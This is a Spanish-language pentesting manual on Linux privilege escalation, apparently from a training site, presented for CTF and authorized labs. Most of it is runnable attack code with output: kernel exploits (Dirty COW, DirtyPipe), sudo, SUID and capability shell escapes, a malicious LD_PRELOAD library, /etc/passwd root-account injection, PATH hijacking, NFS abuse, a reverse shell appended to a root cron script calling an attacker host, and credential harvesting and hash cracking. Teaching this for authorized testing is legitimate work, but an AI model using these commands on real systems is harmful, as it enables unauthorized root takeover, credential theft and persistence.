GhostAcademy — Linux Privilege Escalation

MANUAL COMPLETO

Linux Privilege Escalation

Guía técnica completa sobre técnicas de escalada de privilegios en sistemas Linux. Cada módulo incluye ejemplos guiados paso a paso, comandos reales y casos de uso en entornos de laboratorio.

⚠ DISCLAIMER LEGAL Este manual es únicamente para fines educativos y entornos de laboratorio autorizados (CTF, pentesting con permiso explícito). El uso no autorizado de estas técnicas es ilegal. GhostAcademy promueve la seguridad ética.

¿Qué es Privilege Escalation?

La escalada de privilegios ocurre cuando un atacante con acceso limitado a un sistema consigue ampliar sus permisos, generalmente llegando a nivel root. Existen dos tipos principales:

⬆

Vertical PrivEsc

De usuario normal a root. El escenario más buscado en pentesting. Permite control total del sistema.

■■■ Alta recompensa

↔

Horizontal PrivEsc

De un usuario a otro con el mismo nivel. Útil para robar credenciales, sesiones o datos sensibles.

■■□ Media recompensa

Vectores de Ataque

💥

Kernel Exploits

Vulnerabilidades en el kernel de Linux como Dirty COW, DirtyPipe.

■■■ Crítico

🔑

SUDO Misconfigs

Configuraciones incorrectas de sudo que permiten ejecutar comandos como root.

■□□ Fácil

🚩

SUID Binaries

Binarios con el bit SUID que ejecutan como root independientemente del usuario.

■■□ Medio

⏰

Cron Jobs

Scripts ejecutados periódicamente por root con permisos inseguros de escritura.

■■□ Medio

🔐

Credenciales

Contraseñas en archivos de config, variables de entorno o historial de bash.

■□□ Fácil

📁

PATH Hijacking

Modificación del PATH para redirigir la ejecución de binarios privilegiados.

■■□ Medio

Metodología General

Enumeración del sistema

Recopilar toda la información posible: OS, kernel, usuarios, procesos, servicios, permisos, cronjobs, SUID, capabilities...

Identificar vectores

Analizar la información recogida para detectar configuraciones inseguras, versiones vulnerables o contraseñas expuestas.

Explotar la vulnerabilidad

Usar la técnica adecuada para el vector identificado. Preferir métodos que dejen menos rastro.

Estabilizar y persistir

Una vez obtenido root, asegurar acceso persistente si el scope lo permite (solo en entornos autorizados).

MÓDULO 01

🔍 Enumeración del Sistema

El primer paso siempre es recopilar información. La enumeración exhaustiva determina qué técnicas son aplicables.

Información del Sistema

BASH — Sistema Operativo

# Versión del SO y kernel
uname -a
cat /etc/os-release
cat /etc/issue
cat /proc/version
Linux victim 5.4.0-42-generic #46-Ubuntu SMP x86_64 GNU/Linux
# Arquitectura
uname -m && arch

Usuarios y Grupos

BASH — Usuarios

# Usuario actual y grupos
whoami && id
www-data
uid=33(www-data) gid=33(www-data) groups=33(www-data)
# Todos los usuarios con shell válida
cat /etc/passwd | grep -E '/bin/(bash|sh|zsh|fish)'
# ¿Tenemos acceso a /etc/shadow?
ls -la /etc/shadow

Procesos y Servicios

BASH — Procesos

# Procesos ejecutados como root
ps aux | grep root
# Puertos en escucha locales
ss -tulpn
netstat -tulpn 2>/dev/null
# Servicios activos
systemctl list-units --type=service --state=running

LinPEAS — Enumeración Automática

💡 TipLinPEAS es el script de enumeración automática más completo. Detecta automáticamente la mayoría de vectores.

BASH — LinPEAS

# Descarga directa si hay internet
curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | sh
# Transferir desde máquina atacante
# [Atacante]:
python3 -m http.server 8080
# [Víctima]:
wget http://<ATACANTE_IP>:8080/linpeas.sh -O /tmp/lp.sh
chmod +x /tmp/lp.sh && /tmp/lp.sh 2>/dev/null | tee /tmp/lp_out.txt

MÓDULO 02

⚡ Kernel Exploits

Los exploits de kernel son los más potentes pero también los más inestables. Un exploit mal ejecutado puede crashear el sistema.

⚠ AdvertenciaLos exploits de kernel pueden causar kernel panic y reinicio del sistema. En entornos de producción esto puede ser catastrófico. Úsalos solo en laboratorio o con extrema precaución.

Identificar Versión Vulnerable

BASH

uname -r
3.13.0-24-generic
# Buscar exploits desde máquina atacante:
searchsploit linux kernel 3.13
searchsploit linux local privilege 3.13

Dirty COW (CVE-2016-5195)

CVE-2016-5195 | Kernels 2.6.22 — 4.8.3

Race condition en el mecanismo copy-on-write del kernel. Permite escribir en archivos de solo lectura mapeados en memoria.

Verificar versión vulnerable

BASH

uname -r
4.4.0-21-generic  # Vulnerable ✓

Obtener y compilar el exploit

BASH

wget https://raw.githubusercontent.com/firefart/dirtycow/master/dirty.c
gcc -pthread dirty.c -o dirty -lcrypt
./dirty [password]
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fiKqmoqSwPpkE:0:0:pwned:/root:/bin/bash

Obtener shell root y restaurar

BASH

su firefart
root@victim:~# whoami → root
# RESTAURAR el sistema (importante!)
cp /tmp/passwd.bak /etc/passwd

DirtyPipe (CVE-2022-0847)

CVE-2022-0847 | Kernels 5.8 — 5.16.11

Permite sobreescribir archivos de solo lectura a través de pipe. Similar a Dirty COW pero más reciente y fiable.

BASH — DirtyPipe

# Verificar versión (5.8 <= kernel <= 5.16.11)
uname -r
5.13.0-27-generic  # Vulnerable ✓
wget https://haxx.in/files/dirtypipez.c
gcc dirtypipez.c -o dirtypipez
./dirtypipez /usr/bin/su
[+] hijacking suid binary..
[+] dropping suid shell..
[+] popping root shell..
root@victim:/# id → uid=0(root)
# Limpiar rastros
rm /tmp/sh

MÓDULO 03

🔑 SUDO Abuse

Una de las técnicas más comunes. Configuraciones erróneas de sudoers permiten ejecutar comandos como root o escapar a una shell privilegiada.

Listar Privilegios SUDO

BASH

sudo -l
User www-data may run the following commands on victim:
    (ALL : ALL) NOPASSWD: /usr/bin/vim
    (root) NOPASSWD: /bin/nano /var/www/html/config.php
    (ALL) NOPASSWD: ALL

💡 GTFOBinsUsa gtfobins.github.io para encontrar cómo escapar de cualquier binario permitido en sudo.

Ejemplos por Binario

sudo vim → root shell

BASH — vim

sudo vim -c ':!/bin/bash'
# O dentro de vim: :set shell=/bin/sh → :shell
root@victim:~#

sudo find → root shell

BASH — find

sudo find . -exec /bin/bash \; -quit
root@victim:~#

sudo python3 → root shell

BASH — python3

sudo python3 -c 'import os; os.system("/bin/bash")'
root@victim:~#

sudo nano → root shell

BASH — nano

sudo nano /etc/passwd
# Dentro de nano: Ctrl+R → Ctrl+X
# Escribir: reset; bash 1>&0 2>&0
root@victim:~#

Sudo + env_keep LD_PRELOAD

ℹ Técnica avanzadaSi sudo tiene "env_keep += LD_PRELOAD" en el sudoers, podemos inyectar una librería maliciosa.

C — shell.c malicioso

#include <stdio.h>
#include <stdlib.h>
void _init() {
    unsetenv("LD_PRELOAD");
    setgid(0); setuid(0);
    system("/bin/bash");
}

BASH — Compilar e inyectar

gcc -fPIC -shared -o /tmp/shell.so shell.c -nostartfiles
sudo LD_PRELOAD=/tmp/shell.so apache2
root@victim:~#

MÓDULO 04

🚩 SUID / SGID Binaries

Los binarios con SUID se ejecutan con los permisos del propietario (generalmente root) independientemente de quién los invoque.

Encontrar Binarios SUID

BASH — Búsqueda SUID

# Buscar todos los SUID del sistema
find / -perm -4000 -type f 2>/dev/null
/usr/bin/passwd
/usr/bin/sudo
/usr/local/bin/custom_backup  ← sospechoso
# SUID + SGID juntos
find / -perm -6000 -type f 2>/dev/null
# Más detallado con permisos
find / -perm -u=s -type f 2>/dev/null -exec ls -la {} \;

Explotar SUID con GTFOBins

bash con SUID

BASH

ls -la /bin/bash
-rwsr-xr-x 1 root root 1234567 /bin/bash
bash -p
bash-5.1# id → uid=1000(user) euid=0(root)

cp con SUID → sobreescribir /etc/passwd

BASH — cp SUID

# Generar hash de contraseña
openssl passwd -1 -salt ghost password123
$1$ghost$xxxxxxxxxxxxxxxxxxxxxxxxxxx
# Crear entrada maliciosa
echo 'ghost:$1$ghost$HASH:0:0:root:/root:/bin/bash' >> /tmp/passwd
cp /tmp/passwd /etc/passwd && su ghost
root@victim:~#

find con SUID

BASH

find . -exec /bin/bash -p \; -quit
bash-5.1# whoami → root

Analizar SUID Custom Binary

BASH

# Ver strings del binario para detectar llamadas
strings /usr/local/bin/custom_backup
tar -czf /backup/data.tar.gz /home   ← sin ruta absoluta!
# Analizar con strace
strace /usr/local/bin/custom_backup 2>&1 | grep exec

MÓDULO 05

🎯 Linux Capabilities

Las capabilities dividen los privilegios de root en unidades más pequeñas. Un binario con cap_setuid puede ser tan peligroso como un SUID root.

Encontrar Capabilities

BASH

getcap -r / 2>/dev/null
/usr/bin/python3.8 = cap_setuid+ep
/usr/bin/perl = cap_setuid+ep
/usr/bin/ruby2.7 = cap_setuid+ep
/usr/bin/vim.basic = cap_setuid+ep

Explotar cap_setuid

BASH

# Python3 con cap_setuid
python3 -c 'import os; os.setuid(0); os.system("/bin/bash")'
root@victim:~#
# Perl con cap_setuid
perl -e 'use POSIX qw(setuid); POSIX::setuid(0); exec "/bin/bash";'
root@victim:~#
# Ruby con cap_setuid
ruby -e 'Process::Sys.setuid(0); exec "/bin/bash"'
root@victim:~#

Capabilities Peligrosas

Capability	Descripción	Riesgo
cap_setuid	Cambiar UID a 0 (root)	CRÍTICO
cap_setgid	Cambiar GID a cualquier grupo	CRÍTICO
cap_sys_admin	Montar filesystems, ptrace	CRÍTICO
cap_dac_override	Ignorar permisos DAC	ALTO
cap_net_raw	Sniffing de red (tcpdump)	MEDIO
cap_chown	Cambiar propietario de archivos	ALTO
cap_sys_ptrace	Inyección en procesos	CRÍTICO

MÓDULO 06

⏰ Cron Jobs

Los cron jobs ejecutados como root con scripts modificables por usuarios no privilegiados son un vector muy común en CTFs.

Identificar Cron Jobs

BASH — Enumerar cron

# Crontab del sistema
cat /etc/crontab
* * * * *   root    /opt/scripts/backup.sh
*/5 * * * * root    /usr/local/bin/cleanup.py
# Directorios de cron
ls -la /etc/cron.d/ /etc/cron.daily/ /etc/cron.hourly/
# Monitorizar en tiempo real (pspy)
./pspy64

Explotar Script con Permisos de Escritura

Verificar permisos del script

BASH

ls -la /opt/scripts/backup.sh
-rwxrwxr-x 1 root www-data 142 /opt/scripts/backup.sh
# www-data tiene permisos de escritura ✓

Inyectar payload en el script

BASH

# Payload: reverse shell como root
echo 'bash -i >& /dev/tcp/ATACANTE_IP/4444 0>&1' >> /opt/scripts/backup.sh
# O añadir SUID a bash
echo 'chmod u+s /bin/bash' >> /opt/scripts/backup.sh

Esperar y recibir la conexión

BASH — Atacante

nc -lvnp 4444
# Esperar al siguiente ciclo del cron...
root@victim:/# id → uid=0(root)

MÓDULO 07

🔐 Contraseñas y Credenciales

Las contraseñas hardcodeadas, archivos de configuración expuestos y el historial de comandos son fuentes frecuentes de credenciales.

Historial de Comandos

BASH

cat ~/.bash_history
mysql -u root -pP@ssw0rd123 database_name
ssh admin@192.168.1.100 -p 2222
curl http://api.internal/token?key=s3cr3t_api_k3y
# Otros archivos de historial
cat ~/.zsh_history ~/.mysql_history ~/.psql_history 2>/dev/null

Archivos de Configuración

BASH — Buscar credenciales

# Buscar contraseñas en archivos
grep -r "password" /etc/ 2>/dev/null | grep -v "#"
grep -r "passwd\|password\|pass\|pwd" /var/www/ 2>/dev/null
# Archivos .env (muy comunes en apps web)
find / -name ".env" -type f 2>/dev/null
find / -name "config.php" -o -name "wp-config.php" 2>/dev/null
# Claves SSH privadas
find / -name "id_rsa" -o -name "id_dsa" 2>/dev/null

Crackear /etc/shadow

BASH — John / Hashcat

# Si tenemos acceso a /etc/shadow
cat /etc/shadow
root:$6$salt$hashhash...:18000:0:99999:7:::
# Unshadow y crack con John
unshadow /etc/passwd /etc/shadow > hashes.txt
john --wordlist=/usr/share/wordlists/rockyou.txt hashes.txt
# Con Hashcat (SHA-512 = modo 1800)
hashcat -m 1800 hashes.txt rockyou.txt --force

MÓDULO 08

📁 PATH Hijacking

Cuando un binario privilegiado llama a otro programa sin ruta absoluta, podemos manipular el PATH para que ejecute nuestro binario malicioso.

Identificar el Vector

BASH — Analizar binario SUID

# El binario SUID llama a 'service' sin ruta absoluta
strings /usr/local/bin/suid_binary
service apache2 start   ← sin /usr/sbin/service!
# Confirmar con strace
strace /usr/local/bin/suid_binary 2>&1 | grep exec

Crear el binario malicioso

BASH

echo '#!/bin/bash' > /tmp/service
echo '/bin/bash -p' >> /tmp/service
chmod +x /tmp/service

Modificar el PATH

BASH

export PATH=/tmp:$PATH
which service
/tmp/service  ← nuestro binario malicioso ✓

Ejecutar el binario vulnerable

BASH

/usr/local/bin/suid_binary
bash-5.1# id → euid=0(root)

MÓDULO 09

🌐 NFS y Servicios

Recursos NFS con no_root_squash permiten a usuarios root en máquinas cliente crear archivos SUID que se ejecutan como root en el servidor.

NFS no_root_squash

BASH — Identificar NFS inseguro

# En la máquina víctima
cat /etc/exports
/home/backup  *(rw,sync,no_root_squash)  ← peligroso!
# Desde la máquina atacante
showmount -e TARGET_IP
Export list: /home/backup *

Montar el share como root en atacante

BASH — Atacante (root)

sudo mkdir /tmp/nfs_mount
sudo mount -t nfs TARGET_IP:/home/backup /tmp/nfs_mount

Crear binario SUID en el share

BASH — Atacante (root)

cp /bin/bash /tmp/nfs_mount/rootbash
chmod +xs /tmp/nfs_mount/rootbash

Ejecutar en la víctima

BASH — Víctima

/home/backup/rootbash -p
rootbash-5.1# whoami → root

RECURSOS

🛠 Herramientas Esenciales

El arsenal completo de un pentester para enumerar y explotar vectores de privilege escalation en Linux.

Herramienta	Función	Tipo
LinPEAS	Enumeración automática completa del sistema	Enumeración
LinEnum	Script de enumeración alternativo y ligero	Enumeración
pspy	Monitorizar procesos sin permisos root en tiempo real	Monitoreo
GTFOBins	Referencia web para bypass con binarios UNIX	Referencia
linux-exploit-suggester	Sugerir exploits de kernel según versión	Exploits
searchsploit	Buscar exploits en la base de datos Exploit-DB	Exploits
John the Ripper	Crackear hashes de /etc/shadow	Cracking
Hashcat	Cracking de hashes acelerado por GPU	Cracking

💡 Flujo Recomendado1) LinPEAS para enumeración inicial → 2) pspy para detectar cron jobs ocultos → 3) GTFOBins para explotar lo encontrado → 4) exploit-suggester si el kernel parece desactualizado.

RECURSOS

✅ Checklist PrivEsc

Lista de verificación completa para no olvidar ningún vector. Márcalos conforme los vayas comprobando.

Sistema y Kernel

Verificar versión del kernel (uname -r)
Buscar exploits de kernel conocidos (searchsploit, linux-exploit-suggester)
Comprobar arquitectura del sistema
Revisar /proc/version y /etc/os-release

Usuarios y Permisos

sudo -l (listar privilegios sudo)
Revisar /etc/sudoers y /etc/sudoers.d/
Comprobar grupos del usuario (adm, docker, disk, lxd...)
Verificar permisos de /etc/passwd y /etc/shadow

Binarios y Capabilities

Buscar SUID/SGID (find / -perm -4000)
Comprobar capabilities (getcap -r /)
Analizar binarios SUID no estándar con strings/strace
Verificar binarios writable por el usuario

Cron y Procesos

Revisar /etc/crontab y /etc/cron.d/
Ejecutar pspy para detectar cron ocultos
Comprobar permisos de scripts ejecutados por cron
Revisar systemd timers (systemctl list-timers)

Credenciales y Archivos

Revisar ~/.bash_history y afines
Buscar archivos .env, config.php, wp-config.php
Buscar claves SSH privadas (id_rsa, *.pem)
Grep de "password" en /var/www y /etc

Red y Servicios

Revisar puertos en escucha localmente (ss -tulpn)
Comprobar shares NFS (/etc/exports)
Revisar servicios con versiones vulnerables
Comprobar grupo docker (docker run -v /:/mnt)